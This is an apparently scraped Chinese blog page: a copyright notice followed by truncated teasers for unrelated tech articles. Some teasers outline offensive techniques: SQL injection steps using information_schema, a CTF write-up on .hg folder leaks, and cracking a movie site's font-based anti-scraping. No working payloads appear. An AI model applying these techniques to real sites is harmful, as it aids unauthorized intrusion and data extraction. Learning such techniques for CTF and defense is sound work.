本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/874681.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

什么是嵌入式?行业前景如何?

目录 什么是嵌入式&#xff1f; 主要特点 常见应用场景 1. 工业自动化 2. 交通运输 3. 智能家居 4. 消费电子 5. 医疗设备 6. 航空航天 7. 物联网&#xff08;IoT&#xff09; 8. 能源管理 行业前景如何&#xff1f; 市场需求强劲 物联网&#xff08;IoT&#xff09;的爆发 汽车…

AutoDroid: LLM-powered Task Automation inAndroid论文学习

光看题目怎么和上一篇差不多&#xff1f;又是纯用LLM的&#xff1f; 当然还是有一点不一样的&#xff1a; 这里的最大特点是加上了UI领域知识&#xff0c;可以大幅增强LLM在处理UI方面的知识的能力。根据文章的说法&#xff0c;使用了这招他们的LLM可以吊打GPT4V&#xff0c;准…

优秀的安防视频监控平台应该具备怎样的视频编解码能力?

随着安防技术的飞速发展&#xff0c;监控平台作为保障公共安全、维护社会秩序的重要工具&#xff0c;其性能与效率日益成为行业关注的焦点。其中&#xff0c;监控平台的视频编码能力在视频监控系统中扮演着至关重要的角色&#xff0c;视频编码技术作为监控系统的核心组成部分&a…

记一次导入dbf文件后数据为空问题的解决方法

前言 省流&#xff1a;这篇文章最终采用的是更换导出文件格式的方法&#xff0c;看到这里觉得方法不适用的小伙伴可以不用浪费几秒钟看完这篇文章哦。 问题描述 作者使用的是Navicat数据库管理工具&#xff0c;然后在将源数据库的数据表导出为dbf格式文件后&#xff0c;再将…

自然语言处理系列六十九》搜索引擎项目实战》搜索框架技术选型

注&#xff1a;此文章内容均节选自充电了么创始人&#xff0c;CEO兼CTO陈敬雷老师的新书《自然语言处理原理与实战》&#xff08;人工智能科学与技术丛书&#xff09;【陈敬雷编著】【清华大学出版社】 文章目录 自然语言处理系列六十九搜索引擎项目实战》搜索框架技术选型搜索…

9月11日

使用绘制事件完成钟表的绘制 头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include<QTcpSocket> #include<QMessageBox>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public QWidget {Q_OBJECTpub…

kitti数据深度图转点云坐标计算方法与教程(代码实现)

文章目录 前言一、kitti深度图官网介绍1、官网深度图介绍2、深度图读取官网代码(python)3、深度图解读1、数据格式内容2、深度图加工3、深度图转相机坐标深度二、kitti数据内参P矩阵解读1、P2矩阵举例2、内参矩阵 (3x3)3、特殊平移向量(第4列)4、kitti的bx与by解释三、kitti深…

CTFHub技能树-信息泄露-HG泄漏

目录 漏洞产生原因 解题过程 当开发人员使用 Mercurial 进行版本控制&#xff0c;对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。 漏洞产生原因 Mercurial(hg)是一种分布式版本控制系统&#xff0c;它与Git类似也可以用于管…

猫眼电影字体破解(图片转码方法)

问题 随便拿一篇电影做样例。我们发现猫眼的页面数据在预览窗口中全是小方框。在当我们拿到源码以后&#xff0c;数据全是加密后的。所以我们需要想办法破解加密&#xff0c;拿到数据。 破解过程 1.源码获取问题与破解 分析 在我们刚刚请求url的时候是可以得到数据的&#xff…

杀毒软件 | Malware Hunter v1.189.0.816 绿色版

软件简介 Malware Hunter是由Glarysoft开发的一款专业安全防护软件。该软件的主要目的是保护用户的计算机免受恶意软件、病毒和其他网络威胁的侵害。它通过采用高效的云引擎和小红伞引擎&#xff0c;能够快速且全面地扫描电脑中的恶意软件&#xff0c;并进行强力清除&#xff…

Definition and Detection of Defects in NFT Smart Contracts论文解读、复现

背景知识\定义 NFT 是数字或物理资产所有权的区块链表示。不仅限于数字图片&#xff0c;视频和画作等艺术品也可以转化为 NFT 进行交易。近年来受到广泛关注&#xff0c;2021 年 NFT 交易额达到约 410 亿美元。 智能合约 是在区块链上运行的图灵完备程序。支持各种去中心化…

第 1 章:原生 AJAX

原生AJAX 1. AJAX 简介 AJAX 全称为 Asynchronous JavaScript And XML&#xff0c;就是异步的 JS 和 XML。通过 AJAX 可以在浏览器中向服务器发送异步请求&#xff0c;最大的优势&#xff1a;无刷新获取数据。AJAX 不是新的编程语言&#xff0c;而是一种将现有的标准组合在一…

C# Windows Forms实现绘制画板

目录 C# Windows Forms上绘制画板&#xff1a; 详细解释&#xff1a; TempData临时数据&#xff0c;用来保存画笔相关的信息&#xff0c;如&#xff1a;颜色&#xff0c;大小&#xff0c;坐标等 类声明和成员变量 构造函数 文件菜单项点击事件 保存菜单项点击事件 画笔大…

等待唤醒机制和阻塞队列

1. 等待唤醒机制 由于线程的随机调度&#xff0c;可能会出现“线程饿死”的问题&#xff1a;也就是一个线程加锁执行&#xff0c;然后解锁&#xff0c;其他线程抢不到&#xff0c;一直是这个线程在重复操作 void wait() 当前线程等待&#xff0c;直到被其他线程唤醒 void no…

网络安全(sql注入)

这里写目录标题 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表1. information_schema.schemata2. information_schema.tables 二. 判断注入类型1. 判断数字型还是字符型注入2. 判断注入闭合是""还是 三. 判断表…

Keras深度学习中文文本分类

一.文本分类概述 文本分类旨在对文本集按照一定的分类体系或标准进行自动分类标记&#xff0c;属于一种基于分类体系的自动分类。文本分类最早可以追溯到上世纪50年代&#xff0c;那时主要通过专家定义规则来进行文本分类&#xff1b;80年代出现了利用知识工程建立的专家系统&…

电动机制造5G智能工厂工业物联数字孪生平台,推进制造业数字化转型

电动机制造5G智能工厂工业物联数字孪生平台&#xff0c;推进制造业数字化转型。5G智能工厂与物联数字孪生平台的融合应用&#xff0c;为电动机制造业的数字化转型铺设了一条高速通道。这一创新模式不仅极大地提升了生产效率&#xff0c;还深刻改变了产品的设计、生产、管理及运…

音视频入门基础:WAV专题(9)——FFmpeg源码中计算WAV音频文件每个packet的duration和duration_time的实现

音视频入门基础&#xff1a;WAV专题系列文章&#xff1a; 音视频入门基础&#xff1a;WAV专题&#xff08;1&#xff09;——使用FFmpeg命令生成WAV音频文件 音视频入门基础&#xff1a;WAV专题&#xff08;2&#xff09;——WAV格式简介 音视频入门基础&#xff1a;WAV专题…

深入理解Java虚拟机:Jvm总结-虚拟机字节码执行引擎

第八章 虚拟机字节码执行引擎 8.1 意义 不受物理条件制约地定制指令集与执行引擎的结构体系&#xff0c;能够执行那些不被硬件直接支持的指令集格式。输入的是字节码二进制流&#xff0c;处理过程是字节码解析执行的等效过程&#xff0c;输出的是执行结果 8.2 运行时栈帧结构…

一文读懂在线学习凸优化技术

一文读懂在线学习凸优化技术 在当今的数据驱动时代&#xff0c;机器学习算法已成为解决复杂问题的关键工具。在线学习凸优化作为机器学习中的一项核心技术&#xff0c;不仅在理论研究上具有重要意义&#xff0c;还在实际应用中展现出巨大的潜力。本文将深入浅出地介绍在线学习…